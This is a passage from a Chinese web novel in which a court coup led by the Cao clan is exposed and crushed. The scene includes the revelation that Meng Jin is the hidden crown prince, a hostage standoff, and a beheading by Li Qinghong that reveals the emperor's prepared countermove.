尽管他们都认为,今日这场对二皇子的围剿批判,是三皇子主使诬陷,但事情来得太突然,他们都感到猝不及防,没有任何准备,一时想不到该如何为二皇子脱罪。
他们纷纷望向主心骨——吏部尚书曹修易,作为曹太后的亲弟弟,两朝元老,二皇子的母家当家人,曹修易一直未发一言,这明显很不寻常。
性急的大臣,已经对着曹修易催促。
“曹大人,二殿下是无辜的,您快想想办法,劝劝陛下呀!”
曹修易懒懒掀起眼皮,冷冷看过去,语气讽刺。
“人家设好的圈套,等着你去钻,劝又有什么用?”
大殿内倏然安静,众臣的目光齐齐望向曹修易。
他好像不是在说三皇子,而是在说龙椅上的陛下?
与曹修易并排站立的户部尚书吴德勇,最先反应过来,指着曹修易斥道:
“曹大人,你这话是什么意思?你是在对陛下的决定不满吗?就算为二殿下担忧,你也不该对陛下不敬!”
“不敬?呵!”
曹修易不屑冷笑。
“我不过是说实话罢了,何来不敬?”
他轻蔑地看着吴德勇,嘲讽道。
“吴德勇,你以为你是个什么东西?你就是萧远豢养的一条狗!
他把你养得膘肥体壮,就是为了利用你,来对付我,你还以为自己多有能耐,多有地位?
等你没了用处,他下一个对付的就是你。”
萧远,是庆明帝的名讳。
自庆明帝登基之来,已是多年无人敢直接喊出他的名讳。
曹修易出身世家,身为吏部尚书,不会犯这样明显的错误,除非他是故意。
周围的大臣们,听到曹修易讽刺吴德勇的话,已经暗暗心惊,再听到曹修易直呼庆明帝名讳,心里的震惊已经藏不住。
难道因为二皇子失了圣宠,曹尚书疯了?
吴德勇被贬低嘲讽了一番,感到的惊讶多于愤怒。
他一直都知道,庆明帝扶植他上位,有让他带领吴家与曹家分庭抗礼的目的在。
吴德勇不在乎庆明帝对他的利用,反正他想要的结果,他已经得到了。
从低级官吏,到户部尚书,他用了不到二十年。
他让已经落魄的吴家,重新站在了权力的峰顶,有资格让带有吴家血脉的三皇子,去搏一搏那个至高无上的位置。
现在,距离扳倒最大的对手二皇子,只差一步。
曹修易自己发疯,对陛下不敬,他吴德勇可不能放过这个机会。
“曹大人,你如何说我都行,但你怎敢直呼陛下的名讳?”
吴德勇痛心疾首地说。
“按大齐律法,你刚刚已经犯下了严重的‘大不敬’之罪,最高可判死罪!你还不快跪下,向陛下认错!”
“认错?”曹修易面露鄙夷,斜眼瞥向庆明帝,从鼻中哼出一声,“他也配?”
众臣哗然。
连二皇子,也懵在当场。
孟蕊与孟瑾对视一眼,不约而同地紧张起来。
高坐龙椅的庆明帝,面无表情地看着曹修易,不置一词,威严的眼中,闪过杀意。
“曹修易,你大胆!”
吴德勇压抑着兴奋,对着曹修易呵斥。
“屡次三番对陛下不敬,霍统领,你还不快将他拿下!”
霍济皱了皱眉,抬头望向庆明帝,等待庆明帝的指示。
曹修易猖狂地大笑两声,对着吴德勇,尖锐地讽刺道:
“吴德勇,你这条狗,叫得这么欢做什么?
你以为你们扳倒了我,就能让萧定顺理成章地当上太子,再当皇帝?做梦!”
他转过身,面朝群臣,伸手指向孟瑾,揭露了一个惊天秘密。
“只要他还活着,萧远就不会选将皇位传给其他人!
老臣说的没错吧?元熙皇太子殿下?”
第344章 元熙皇太子
曹修易的话,如一道惊雷,劈在大殿中的众臣头上。
议论声停止,所有人的目光,都集中在曹修易指向的孟瑾身上。
就连一直在指责曹修易的吴德勇,也惊异地瞪大了眼,震惊地望向孟瑾。
原本已经瘫坐在地上的二皇子,突地直起身体,猛地扭头朝孟瑾看去。
三皇子也是一副不可置信的表情,怔怔望向孟瑾。
而孟瑾本人,在众人的瞩目下,一如往常地坦然站立,仿佛没有听到曹修易的话,也感受不到众人惊诧的目光。
孟蕊嘴唇微微发白,但神情不变,坚定地站在孟瑾身边。
吴德勇最先反应过来,打破一殿沉寂。
“曹修易,你这话是什么意思?那元熙皇太子是……”
“就是字面上的意思。”
曹修易看着众人惊愕骇然的表情,满意地说。
“元熙皇太子,是你们陛下和心爱的宸元皇后唯一的孩子,据说是夭折了,但这里的诸位,你们谁又见过元熙皇太子的尸身?
他没有死,只是被你们的陛下藏了起来,好端端地长大,还争气地高中状元,入朝为官。”
曹修易昂起头,看向安坐龙椅、不动如山的帝王,嗤笑道。
“萧远,陛下,你可真能忍呐!
把自己的亲儿子,藏在外面十多年,都不接回自己身边,是为了防谁?该不会是为了防着老臣我吧?
这十多年来,你扶持吴家,一点点蚕食我曹家的势力,等到孟瑾进入刑部,又拉下一个个支持曹家的大臣,想让我们孤立无援,任人拿捏?
呵呵,你们父子俩当真是煞费苦心,不灭我曹家不罢休啊!”
曹修易迈步向前,嘴角挂着渗人的笑,一步步走向孟瑾。
他所过之处的大臣们,不由自主地纷纷后退,为他和孟瑾让出地方。
孟瑾身姿挺拔地站立着,平静地看着曹修易走近,扯了扯嘴角,似笑非笑道:
“曹大人过奖了,你们曹家几十年来把控朝堂、横行霸道,害死了多少忠臣良将,你算过吗?你们才是煞费苦心,孟某自不敢与你相比。”
“害死忠臣?你在说谁?你的外祖吗?”
曹修易在孟瑾面前站定,盯着他冷笑。
“看来,谢馨果然是魏正廷的小女儿魏颖,你在为你外祖父一家,向我报复?”
曹修易眼角皱纹舒展,对着孟瑾挑眉。
“重查魏正廷旧案,是你在负责吧?查出什么证据了?”
孟瑾对上曹修易的挑衅,眼神冷冽,沉声道:
“三十年前,是你的弟弟曹修昱,派去杀手,刺杀了魏正廷。
京城魏宅的那场大火,是你的长子曹泽主使。
你作为曹家家主,对这些,全都知情。”
曹修易冷笑,“现在说这些有什么用?你有什么证据证明?”
“用不着什么证据了,凶手不是都已经死了?”
孟瑾冰冷的眼神中,瞬间迸发杀意。
“十六年前,你的弟弟和两个儿子,全都死了,你会觉得伤心吗?”
曹修易脸上的得意之色骤然消失,老谋深算的眼中,快速闪过惊愕和不确定。
他的亲弟弟曹修昱,长子曹泽,次子曹洵,以及曹太后的亲生儿子五皇子,全都在十六年前的京城大乱中丧命。
当年,京中遭此劫难的世家贵族不在少数,皇族都被屠戮,当时在宫中的曹修昱等人,也难逃一死。
曹修易不是没怀疑过,还派人调查过,但那时太乱,始终没有找到有用的线索。
这么多年来,曹修易一直以为是乱军所为,但此刻听到孟瑾的话,让他心绪大乱。
“他们的死,和你有什么关系?”
曹修易盯着孟瑾,急切地质问。
“你做了什么?”
孟瑾只冷漠看着他着急的样子,不置一词。
曹修易很快否定了自己的问题,“不对,你当年还是个孩子,做不了什么……”
他立刻转身,瞪向高坐龙椅的帝王。
“萧远,是不是你!你趁乱杀死了他们,是不是!”
庆明帝也没有回答,用和孟瑾一样冷漠的眼神,像看死人一样看着曹修易。
殿上的大臣们,在震惊中,逐渐理清了曹修易和孟瑾的对话。
曹修易说孟瑾是陛下和宸元皇后唯一的儿子——元熙皇太子。
孟瑾没有否认,陛下也没有说话,那么就是默认。
曹修易还说,宸元皇后谢馨,不是谢馨,而是魏颖,是三十年前遭遇刺杀的巡察御史魏正廷的小女儿。
而三十年前,魏正廷担任巡察御史,正是在调查完当时的南州知府曹修昱后,于返京复命的路上遭遇山匪而死。
不久后,魏正廷在京中的家人,也都死于一场大火。
这些,都不是意外!
魏正廷,是曹修昱派人杀的。
烧死魏正廷家人的大火,是曹泽派人放的。
那场大火中,或许只逃出了一个魏颖,她不知怎的,成了谢太傅的女儿,后来嫁给了当年还是七皇子的庆明帝,生下了孟瑾。
而害死魏正廷及其家人的凶手,已于十六年前的京城大乱中丧命。
现在,曹修易怀疑他们是被陛下报复杀死,正在质问陛下……
大臣们都被这些如山洪暴发般汹涌的消息,震得不知所措,反应过来后,忍不住和相熟的同僚小声交换消息。
“孟瑾真是元熙皇太子?陛下怎么舍得把他一直养在外头?名不正言不顺的。”
“宫里头有曹太后、曹嫔她们在呢!要是太子殿下养在宫里,不一定能活到现在。”
“说的也是,以曹家人的狠劲,对巡察御史及其家人都敢杀人放火的,确实要多多防备。”
“你年纪轻不知道,曹家以前的势力,比现在大多了,可谓是只手遮天。”
“没错,我记得当年陛下登基,本不想尊德妃为太后,但迫于曹家在朝堂上施压,才不得不纡尊降贵,亲自请曹太后入慈宁宫。”
“是啊,我也记得,曹家一贯强势,直到后来有了新起的吴家掣肘,加上这几年曹尚书年纪大了,精力不济,又后继无人,才渐渐势弱。”
……
大殿正中,曹修易指着庆明帝,执着地要一个答案。
“萧远,你回答我!十六年前,到底是不是你杀了我三弟他们?
乱军能攻入皇城,是不是也有你的手笔?回答我!”
第345章 胆敢造反?
又听到一个震撼消息的大臣们,视线齐刷刷投向庆明帝。
十六年前的京城大乱,是朝野内外甚少拿到台面上讲的事。
因为那场大乱,起源于天灾,爆发于人祸,差点造成大齐皇室的灭顶之灾、天下大乱。
那年,南边大旱,颗粒无收,出现了大量灾民。
那时的先帝,正沉迷于追求长生,在宫中养了一批道士炼制丹药,对朝政漠不关心。
京中的皇子们,为了皇位,相互倾轧、争斗、算计,无人在意水深火热中的百姓。
得到灾情的消息后,先帝拨出赈灾款和赈灾粮,却被贪腐的官吏层层盘剥,能发到灾民手上的,已所剩不多。
没有粮食,老弱妇孺饥饿而死,能抢到粮食的青壮男子,集结成乱军,一路烧杀抢掠,涌向京城。
乱军杀到京城,兵临城下时,先帝正吃下一枚丹药。
他听到消息,一着急,药性发作太快,当晚就驾崩了。
先帝死得突然,没有留下遗诏,也没有立过太子。
众皇子为了皇位,爆发了激烈的冲突,宫中各方势力乱作一团。
就在这时,乱军杀入京城,直冲皇宫而来。
乱军杀红了眼,皇宫侍卫很快不敌。
宫门被破,平日里养尊处优、高高在上的宫中贵人们,不论身份,乱军见一个杀一个,皇宫沦为血海地狱……
曹太后等很少一部分妃嫔和宫人,躲藏得隐秘,没被乱军发现,逃过一劫。
早前被兄弟排挤,被先皇打发去看皇陵的七皇子萧远,因事发时不在京中皇宫,保住了性命。
最后,七皇子萧远,在谢太傅和赶来平定叛乱的厉老将军的扶持下,登上了皇位。
七皇子萧远,也就是如今的庆明帝。
而现在,曹修易居然说,十六年前乱军攻入皇城,或有庆明帝的手笔!
若他说的是真的,那庆明帝岂不是设计害死诸皇子兄弟的刽子手?
大臣们望着庆明帝,都在等着他的回应。
庆明帝从容不迫地接受着众臣的视线,威严而冷静。
他没有回应曹修易的质疑,而是看向已经被大量消息冲击而发愣的霍济,命令道:
“霍济,曹修易直呼朕的名讳,犯大不敬之罪,将他抓起来,押后细审。”
“是!卑职遵旨!”
霍济回过神,对着守在殿门口的侍卫做了个手势。
两名侍卫迅速靠近曹修易,却没有抓他,反而恭敬地站在他身后。
“你们在做什么?还不快拿下他!”霍济拧着眉,瞪向那两名侍卫。
突然,霍济脸色大变。
他近看之下才发现,这两名侍卫,不是他的人!
“你们是谁?”
霍济的手握上腰间佩剑,警惕地问。
曹修易嘴角缓缓扯开一道弧度,皱纹里堆积的笑意越堆越深。
“他们是我的人,不会听你的命令。”
曹修易转头,阴恻恻地瞧着庆明帝。
“萧远,这座大殿,已经被我的人包围了,你还不快束手就擒!”
大殿上的众臣闻言,皆是一惊。
有人望向殿外,不知从何时起,大殿门口原本的行宫侍卫,替换成了身形更高大的兵士。
吴德勇颤抖着手,指向曹修易,“曹尚书,你要造反不成?”
“这不是你们说的吗?二皇子造反,我让你们如愿可行?”
曹修易嫌弃地瞥了眼呆坐在地上的二皇子。
“你们吴家费尽心机,又是训虎,又是刺杀的,不就是为了诬陷二皇子有谋逆之嫌,目的是让他失去夺嫡的资格。”
他眼中划过精光,带着几分嘲讽,对上吴德勇。
“你们吴家啊,到底是商户出身,小家子气,担心谋逆之罪太大,不好收场,最终给二皇子安的是因私怨刺杀孟家兄妹的罪名,呵,真够可笑的。”
曹修易咧着嘴,皮笑肉不笑地奚落道。
“吴德勇,亏你和谢清源夫妇还是旧识,怎么就没搞清楚,他们究竟有几个儿子呢?
连自己的敌人是谁都没弄明白,你觉得宸元皇后的儿子还在世,其他人能有登临大宝的机会?”
“我……”吴德勇愣住了,他觉得曹修易说得有道理。
庆明帝对宸元皇后的爱重世人皆知,当年更是不顾众臣反对,将夭折的嫡长子,追封为元熙皇太子。
元,意为万物之本源。
从宸元皇后和元熙皇太子的封号就能看出,庆明帝有多重视这对母子。
以前,吴德勇以为元熙皇太子夭折,一个死去的皇子没有威胁。
但现在,曹修易告诉他们,元熙皇太子就是被谢清源养大的孟瑾!
再想想这些年庆明帝对谢清源和谢家的恩宠,不难看出庆明帝的心是偏向哪边的。
近几年,二皇子和三皇子争斗,你来我往,庆明帝作壁上观,让皇子们觉得自己都有机会一搏。
如果孟瑾加入进来,庆明帝还会如之前那般一视同仁吗?
想到这里,吴德勇感到胆寒,有种自作聪明做局,实则被人当做棋子玩弄于股掌之间的惊惧与后悔。
至于他为何不知道孟瑾不是谢清源的亲儿子,那是因为他年轻时认识的谢清源和孟天,看起来就很离谱。
吴德勇一直不能理解,谢清源竟然可以为了孟天一个女人,和谢家闹翻,放弃荣华富贵,放弃自己的前途,到西市做一介商户。
而孟天又足够大胆猖狂,是西市一霸,谁惹就揍谁,根本不在乎旁人的眼光和议论。
所以,当他知道孟瑾是谢清源和孟天婚前生下的儿子,小时候养在孟天娘家时,直接就信了。
他怎么可能猜到,庆明帝会把亲生儿子,送给谢清源养啊!
看着吴德勇脸色的变化,曹修易继续挑拨道:
“吴尚书,你好好想想,你做到这个位置,都付出了什么?这么多年与我斗法,真的有意义吗?
你的陛下对你们吴家的恩宠,是真的恩宠,还是变相捧杀,你可分得清?”
他的话音刚落,殿外就传来密集的脚步声,和铁甲的铿锵声。
只见曹太后和曹嫔,在高大兵士们的簇拥下,气势汹汹地走进了大殿。
那些兵士手握刀剑,很快将大殿中众臣团团围住。
“护驾!”
霍济大喝一声,抽出佩剑,挡在庆明帝身前。
第346章 太后仇恨
大殿中的大臣们,看到曹太后带兵冲入大殿时,都吓得不轻。
“兵、兵变!曹家真要造反啊!”
大臣们本能地想要逃跑,但大殿只有一个大门,他们逃无可逃。
在兵士冲进大殿的前一刻,孟瑾握住了孟蕊的手,两人交换眼神,一同运起轻功,快速来到庆明帝身边。
“阿瑾,蕊儿……”
庆明帝站起身,殷切地望向孟瑾。
下一瞬,曹太后满含愤怒和仇恨的尖刻嗓音传来。
“萧远,你害死我儿,今日,哀家要让你偿命!”
庆明帝脸色一沉,转身将孟瑾和孟蕊护在身后,对上曹太后发红的双眼,镇定道:
“母后,五皇兄是被乱军杀死,与朕无关。
你们要谋朝篡位,就要敢做敢当,别给朕扣上谋害兄弟的帽子,显得你们有多名正言顺似的。”
孟蕊望向曹太后的方向,看到她带来的兵士们,各个长得人高马大,身着铁甲,背心处有一“厉”字。
是厉家军精锐!
厉青鸿果然还是和曹家走到了一起,那他本人是否也到了行宫?
孟蕊心中不由自主地涌出一阵惶恐,突感手上一紧,侧头看去,孟瑾正握紧她的手,小声对她安慰:
“别怕,有我在。”
“嗯。”孟蕊应了一声,手上孟瑾给她的温暖,让她稍稍安心。
曹太后听着庆明帝的话,情绪越发激动,冲着庆明帝吼道:
“别叫我母后!萧远你这个宫女生下的贱种,没资格叫我母后!”
大殿内的众臣又是一惊,曹太后竟连基本的体面都不顾了。
庆明帝的母妃,确实出身不高,只是御花园中的洒扫宫女,因长相貌美,被先帝看中临幸,意外怀了庆明帝后,被封为了美人,生下庆明帝不久,因病去世。
在京城大乱前,从来没有人想到,最终登临大宝的皇子,会是名不见经传的七皇子萧远。
与母家势力强的前几名皇子相比,七皇子萧远实在没有什么实力去争夺皇位。
甚至因为兄弟排挤,给萧远安排了个命数不详的罪名,令一心修仙的先帝对他厌恶,命令他离开皇宫,带着妻儿去守环境艰苦的皇陵。
却不想,萧远这一走,恰好避过了京城大乱。
谁也没有想到,京城大乱会来得那么突然,杀红了眼的乱军会冲入皇宫,把皇室杀得片甲不留。
皇宫里的所有皇子都死了,除了远在皇陵的七皇子萧远。
要继续萧家的天下,只有扶持唯一活着的皇子萧远做皇帝。
这么多年来,曹太后只要一想到亲儿五皇子的死,就悔恨不已。
曹太后当年能躲过乱军,是因为她躲在自己宫中建的密室里,没有被乱军发现。
可是,五皇子当时并没有和她在一起。
她派人去找五皇子回来,派出的人一出去,就再没有消息。
然后便听到宫室外的喊杀声,和刀剑相交声,曹太后被宫人扶着躲进了密室。
再出来时,天地变幻,她的儿子死了,她看不上的萧远,成了人人追捧拥护的新帝。
更让她受不了的是,为了曹家的利益,她还要留在这座死了无数人、葬送了她亲生儿子的皇宫中,继续当太后,做萧远名义上的母后!
无数个夜晚,曹太后在慈宁宫中惊醒,回想起梦中满脸血泪,质问她为何不救自己的儿子,心痛如绞。
无数次,曹太后看着庆明帝想,为什么当年死的不是庆明帝,而是她的儿子?
明明她的五皇子,身份尊贵,文武双全,受先帝看重,得万众拥戴。
明明她的五皇子,已经在皇位争夺中占据上风。
就差一点,她的五皇子就可以登上皇位。
却偏偏在这时,无妄之灾来袭,乱军攻城,血洗皇宫,往日谋算毁于一旦,让萧远这个宫女生的低贱子,摘得了皇位。
此刻,曹太后瞪着庆明帝,压抑多年的满腔不忿,终于有了释放的机会。
“萧远,你这阴险毒辣、道貌岸然之徒!
当年就是你让人打开了宫门,让乱军进入皇城,皇宫里的尸山血海,都是被你害死的人!”
曹太后见大殿中的大臣们,都一脸不可置信地看向她,拧眉道。
“你们不信?哀家自有证据。”
曹太后不仅要夺权,要杀了庆明帝,还要让庆明帝被压在与乱军勾结、残害人命的耻辱柱上,永远抬不起头来!
她对着身边的心腹宫女使了个眼色,“去把人带上来。”
宫女领命而去,不多时,便带着四皇子及其母妃陈美人进殿。
四皇子和陈美人一走进殿内,望见庆明帝,习惯性地要下跪行礼,被曹太后喊住。
“不必跪了,陈美人,快些说说,十六年前,你的父亲,都为萧远做了什么?
能让已是皇帝的他,将你这个小小城防营守将之女,纳入后宫,封为顺嫔。”
以陈美人的出身,一入宫就是嫔位,十几年来生育一位皇子一位公主,是妃嫔中子嗣最多的,可见帝王恩宠。
如果不是一年前曹太后宫宴上,五公主闹着要求赐婚嫁给孟瑾,陈美人也不会被降位份。
陈美人惶恐的目光,扫过殿内披甲执锐的兵士,嗫嚅着看向曹太后。
“太后娘娘,臣妾的父亲虽军职不高,但当年护驾有功,为救陛下,伤重不治而亡,他临终前请求陛下照顾臣妾,所以陛下才……”
“哀家要听的,不是这些陈词滥调!”
曹太后不耐烦地打断陈美人的话。
“你父亲陈山,到底为萧远做了什么?你作为他唯一的女儿,不可能全然不知。哀家劝你说实话,否则……”
曹太后对身边的侍卫一抬手。
侍卫立即抽刀,横在了四皇子脖间。
曹太后直接威胁,“四皇子的性命,就在你一念之间。”
“母妃……”四皇子颤抖着望向陈美人。
“不要伤害他!”
陈美人心急地想要走向四皇子,被曹太后身边的宫女困住双手,不能动弹。
曹太后眼中划过厌烦,加重了语气道:
“陈美人,哀家再问你一次,十六年前的京城大乱中,你那个身为城防营守将的父亲陈山,有没有听令于萧远,帮他打开皇城大门,把乱军放进宫去?”
第347章 倒数逼迫
大殿上响起惊吓的抽气声,震撼的消息一个接着一个,大臣们人都要麻了。
陈美人听到曹太后的话,一时间呆若木鸡,张了张嘴,吐不出一句话。
曹太后紧紧盯着陈美人,“说啊!你知道什么,全都说出来!”
“我……”陈美人怔怔转头,望向脸色凝重的庆明帝,犹豫不决。
“这样一个不念旧情,把你从嫔位贬到美人的男人,你难道还要维护他?”
曹太后察觉到陈美人眼中的不舍情意,不屑地嘲讽道。
“看到皇帝身边的孟瑾了吗?他是皇帝和宸元皇后的儿子,是他最在乎的儿子。”
陈美人第一次听到孟瑾的真实身份,诧异的目光在庆明帝和孟瑾之间来回看。
“怎么会……那孩子不是夭折了吗?”
“你们都被他骗了!”
曹太后厉声道。
“孟瑾就是他和谢馨的儿子,假死后一直养在他最信任的谢清源身边。”
陈美人痴痴望着庆明帝和孟瑾,觉得他们的眉眼之间确实有几分相似。
她从没有想过,他们竟然是父子,也终于明白,为何五公主要求赐婚孟瑾时,会引来庆明帝那么大的怒火了。
孟瑾和五公主,他们是同父异母的亲兄妹啊!
“怎么样?现在可以说了?”曹太后催促道,“你再耽搁时间,我就要了你儿子的命!”
“母妃!”四皇子惊叫出声。
陈美人如梦初醒般转过头去,看到劫持四皇子的侍卫,正手中用力,那尖利的刀刃,已经在四皇子的脖子上,划出了一道血印。
“不要!”
陈美人害怕地流泪,向曹太后求饶。
“太后娘娘,您放过宏儿吧,他也是您看着从小长大的孩子啊!”
在陈美人的印象中,曹太后对庆明帝的几个皇子公主,一直都表现得很慈爱,她试图唤起曹太后的怜惜之情,放过她的四皇子。
可是曹太后,只冷冷看着她,耐心即将告罄。
“陈美人,你还有最后一次机会,哀家数三下,你再不说,你儿子就没命!”
曹太后眼神冰冷,开始倒数。
“三……”
庆明帝的这些子嗣,曹太后从来没有放在眼里过,每次看到这些皇子公主们,只会让她想到,她那早逝的儿子,连个后人都没留下,越发痛苦。
以前表现得对四皇子好,是因为她太后的身份,在人前适当表现而已,不带半分真情实感,四皇子若是能够为她所用的死去,也算是死得有价值。
“不要,太后娘娘,求求您……”陈美人祈求着。
她还在犹豫不决,急得眼角泛起泪水,短时间内,不知该如何抉择。
陈美人对庆明帝有情,也更在意亲生儿子的性命,但最让她纠结的是,以当前的形势,庆明帝和曹家,她该靠向哪一边?
十六年前的真相,究竟是什么?现在已经不重要了。
重要的是,她作为陈山的女儿,说出的话,有利于谁?
现在的形势,看起来是曹家占了上风。
可是,十六年前,五皇子也是在夺嫡中占据上风,最后他还不是惨死,被看似不起眼的七皇子、当今圣上萧远得了皇位?
陈美人望向高台上的庆明帝,她爱慕敬仰的帝王,面色苍白,依然身姿挺拔地站在高处,威严而从容地看着她,不发一言。
这一次,庆明帝也会翻盘吗?他是不是还留有后手?
想到这里,陈美人更说不出那些指认庆明帝的话。
“二……”
曹太后冷漠地倒数,讽刺的目光掠过陈美人,看向被侍卫劫持的四皇子。
“看来,你的母妃,要放弃你了。”
四皇子紧张得浑身都在抖,“皇、皇祖母,您放过我,我是无辜的呀!”
“不是哀家不放过你,是你母妃不选你。”
曹太后又看了一眼紧抿着唇的陈美人,正要喊出最有一个数字。
突然,似有一道白光,从眼前一闪而过,曹太后只听见“咻!”的一声,紧接着是侍卫的惨叫。
曹太后向叫声处看去,那名劫持四皇子的侍卫,松了横在四皇子脖子上的刀,捂着脖子上喷涌的鲜血,倒在地上,瞬间没了气息。
“保护太后娘娘!”
太后身边的宫女警惕地命令道。
侍卫们将太后围起来,防止有人再用暗器偷袭。
曹太后捂住心口,后怕地喘息,刚才那道暗器,若是冲她来的,她现在也已经死了。
四皇子终于挣脱了死亡威胁,看了一眼突然死掉的侍卫,他第一反应是捡起脚边侍卫掉下的刀刃,横在自己身前,用作防身。
大臣们看到侍卫突然死去,陷入慌乱,纷纷想要离开大殿,被包围他们的兵士阻止。
曹修易快步走到死去的侍卫身旁,看到那侍卫的颈间,插入了一柄小巧尖锐的飞刀。
他从飞刀刺入的角度,判断飞刀射来的方向,猛地抬头,望向庆明帝的方向。
“是你们杀了他?是谁动的手?”
曹修易厉声质问。
在重重包围下,他们的人居然还能被一击致命,这让曹修易感到极度恐慌。
他已经没有心情,再由着曹太后,向大臣们证明什么,立即对着周围的侍卫和兵士下令。
“来人!将皇帝和孟瑾他们,全都给我抓起来!”
曹太后带来的侍卫们听命上前,向台上的庆明帝冲去,但被霍济和剩余的几名羽林军拦下,双方打斗在一起。
霍济武功高强,以一当十,那些侍卫不是他们的对手,不但迟迟接近不了庆明帝,还折损了不少人。
曹修易眼见打不赢,对着周围的兵士催促道:
“快去把他们抓起来,你们没听到吗?”
那些穿着厉家军铁甲的兵士,依然站在原地,岿然不动。
曹修易心中着急,那些听令上前的侍卫们,是曹家的人,这些高大勇武的兵士,则来自厉家军,是镇北王厉青鸿拨给他们用的人。
之前这些兵士一直很听话,但不知怎的,临到关键时刻,却不听命令了。
曹修易对身边的侍卫吩咐去请镇北王,一道略带沙哑的沉着男声,就在这时,自殿外传来。
“曹大人,本王带的兵,自然只听本王的命令。”
身着铠甲的厉青鸿,大步迈入殿内……
第348章 又见厉青鸿
时隔一年,再次见到厉青鸿,孟蕊心中依然忍不住紧张,但她已不再如之前那样惶恐害怕,而是多了继续兴奋。
孟蕊不动声色地转动手中飞刀,对准了厉青鸿。
她和厉青鸿之间的距离不算远,孟蕊有八成把握,可以将飞刀,射进厉青鸿的脖颈。
就像她对劫持四皇子的侍卫那样,一刀毙命!
“蕊儿别急,再看看情况。”
孟瑾安抚地捏了捏孟蕊的手,附在她耳边小声说。
孟蕊微微点头,“我知道,不会轻易动手的。”
刚才会杀了那个侍卫,是为了救出四皇子,以免陈美人说出不利于庆明帝的话,顺便打压一下曹太后和曹修易太过嚣张的气焰。
现在形势的发展,依然在他们的掌控之中。
孟蕊相信孟瑾的判断,她要沉住气,在没有十足的把握前,敌不动,她也不动。
此时,曹修易已经殷勤地快步迎上厉青鸿。
“厉王爷,你来得正好,快叫你的兵,去把他们都抓起来!”
曹修易对着厉青鸿,指向庆明帝的方向,眼神一横。
“他们用暗器,已经杀了我们一个侍卫,若是不方便抓活的,直接杀了便是!”
“哦?暗器?”
厉青鸿玩味的目光,在殿内众人身上快速扫过,最终落在他认为武功最高的霍济身上。
“霍统领,这侍卫是你放暗器杀的?”
随着厉青鸿进入大殿,霍济带领的羽林军,和曹家带来的侍卫,暂时停止了打斗,双方持刀剑对峙着。
霍济皱着眉,看了眼地上死透了的侍卫,如实道:
“我倒是想,但不是我,我刚才在忙着拼杀,没空使暗器。”
他又斜了眼近处地上,被他打伤倒地不起的若干侍卫,警惕地瞪向厉青鸿。
“厉王爷,你为何会出现在此处?
你作为镇北王,大将军,当驻守北地,无召不得擅离职守,你在这里……”
霍济看到和曹修易站在一起的厉青鸿,终于回过味来,他手中长剑突地指向厉青鸿,不敢相信般瞪大了眼。
“你要跟着曹家造反?厉青鸿,你对得起你们厉家精忠报国的列祖列宗吗!”
殿内的大臣们,看到突然出现的镇北王厉青鸿,也是与霍济同样的想法。
厉青鸿要举兵造反,大臣们觉得天都要塌了!
要知道,厉青鸿作为镇北王,手上可是管着北地十万大军的,他造反产生的破坏性,比一直走文官路的曹家,要大得多!
三皇子和吴德勇对上视线,都从对方的眼中,看到了慌张。
曹家竟然和手握兵权镇北王,联合在了一起!
对曹家来说,有了厉青鸿的兵力,简直如虎添翼,不说与二皇子争皇位了,三皇子觉得,自己的性命,都不一定能保得住。
厉青鸿不在意地瞥了眼霍济。
“本王对不对得起祖宗,本王自己说了算。”
厉青鸿抬起头,望向庆明帝。
“陛下,您看到微臣,好像一点不觉得惊讶,是早已料想到,微臣会来吗?”
庆明帝也望着厉青鸿,没有回答他的问题,以长辈的口吻,镇定自若道:
“青鸿,朕看到你不觉惊讶,不是因为早已知晓你的行踪,而是看到你,感到安心,你是厉老将军教出来的孩子,不会做出结党营私、谋朝篡位的错事。”
“别听他啰嗦了!”
曹修易急切地对厉青鸿说。
“你我今日带兵站在这里,便已是谋逆,厉王爷,快让你的人,把他们都抓起来!”
“谁说本王是谋逆?”
厉青鸿冷冷看向曹修易,铿锵有力道。
“本王此来,是为救驾勤王,诛杀乱党!”
“铿!”厉青鸿抽出佩剑。
在曹修易未来得及反应之间,他的头颅已与身子分了家。
“啊——!”
曹太后看到亲弟弟曹修易的人头,滚动到她的脚边,惊叫着晕了过去。
众臣看到这一幕惊人的反转,都面露惊恐之色。
他们都还没看清发生了什么,刚刚还占据上风、叫嚣着要杀了皇帝的曹尚书,就已经身首异处。
孟蕊也被厉青鸿突然的反水,吓了一跳。
她越发搞不懂厉青鸿的目的,不声不响地带着五千厉家军精锐到行宫来,不为与曹家合作谋反,反而亲手杀了曹家的当家人?
他来这一遭,究竟是为了什么?
孟蕊才不相信,厉青鸿是真为了救驾勤王。
此时,当着所有人的面,亲手杀死曹修易的厉青鸿,举起沾满鲜血的长剑,对着厉家军下令:
“众将士听令!将曹氏叛党全部拿下,如有反抗,格杀勿论!”
“遵命!”
刚才不动如山的兵士们,立刻训练有素地在厉青鸿的指挥下,将曹太后、二皇子等人,以及曹家带来的侍卫宫人们,全部抓了起来。
做好这一切后,厉青鸿收剑入鞘,对着庆明帝行礼。
“陛下,乱党之首曹修易,已经伏诛,其他参与谋反的诸多人等,已尽数被拿下,他们要如何处置,请陛下定夺。”
“青鸿快快请起。”
庆明帝走下台阶,将厉青鸿扶起,欣慰地看着他。
“朕就知道,你不会让朕失望,厉家的忠心,朕从未怀疑过。”
霍济走到庆明帝身边,疑惑不解,“陛下,这到底是怎么回事?厉王爷他……”
“先不说这个,霍济,你把曹氏乱党都带下去关押好。”
庆明帝转向霍济道。
“对了,行宫中还有没被抓住的曹氏乱党,你带着羽林军,去把他们全都捉拿归案,不能错漏一个!”
“是!卑职这就去办。”
霍济不再多问,领了旨就要带着人出殿门。
刚到殿门口,他看到一身姿矫健的男子,从天而降,稳稳落地,站在殿门口,与霍济对了个正着。
“孟瑜?你平安回来了?”
霍济看着眼前男子,正和猛虎一起落崖的孟瑜。
孟瑜对他点了下头,算作招呼,直接抬脚进入殿内,径直走到庆明帝面前,抱拳道:
“陛下,京西大营的一万兵力,已在行宫外集结完毕。”
他侧头睨了眼厉青鸿,语气冷了几分。
“厉家军驻扎的营地,已被我军包围,营地内两千多名兵士,都在控制之中,随时可以拿下。”
第349章 早有安排
“阿瑜,你连夜赶路,辛苦了!”
庆明帝扶起孟瑜,关心道。
“这一路可还顺利?”
孟瑜从怀中拿出虎符,双手递还给庆明帝。
“微臣不辱使命,顺利到达京西大营,与秦将军汇合,带领一万兵士及时赶到行宫。”
此话一出,殿内众人都听明白了。
对于曹太后和曹尚书的叛乱,庆明帝早有准备,曹氏叛党不过是庆明帝的瓮中之鳖。
而孟瑜,昨日和猛虎一起落崖,也在庆明帝的计划之中。
